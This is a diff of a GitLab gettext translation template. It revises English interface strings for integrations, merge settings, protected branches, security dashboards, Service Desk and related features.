+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
